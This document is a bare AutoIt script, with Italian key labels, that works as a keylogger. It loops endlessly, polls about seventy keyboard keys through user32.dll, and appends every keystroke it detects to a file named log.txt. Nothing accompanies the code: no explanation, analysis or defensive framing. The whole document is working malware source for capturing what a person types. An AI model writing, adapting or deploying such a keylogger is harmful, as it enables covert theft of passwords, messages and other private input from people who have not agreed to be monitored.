#include<misc.au3>
$dll=DllOpen("user32.dll")
while 1
Dim $array[70]=[' ','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','[F1]','[F2]','[F3]','[F4]','[F5]','[F6]','[F7]','[F8]','[F9]','[F10]','[F11]','[F12]','e','+',',','-','.','u','o','\',"'",'i','[INVIO]','[SHIFT]','[CTRL]','[ALT]','[ESC]','[SCREEN]','[CANC]','[FRECCIA SINISTRA]','[FRECCIA SU]','[FRECCIA DESTRA]','[FRECCIA GIU]']
Dim $hex[70]=['20','41','42','43','44','45','46','47','48','49','4A','4B','4C','4D','4E','4F','50','51','52','53','54','55','56','57','58','59','5A','30','31','32','33','34','35','36','37','38','39','70','71','72','73','74','75','76','77','78','79','7A','7B','BA','BB','BC','BD','BE','BF','C0','DC','DB','DD','0D','10','11','12','1B','2C','2E','25','26','27','28']
for $i=0 to 69
If _IsPressed($hex[$i],$dll)Then
FileWrite ("log.txt",$array[$i])
EndIf
While _IsPressed($hex[$i]) = 1
WEnd
next
WEnd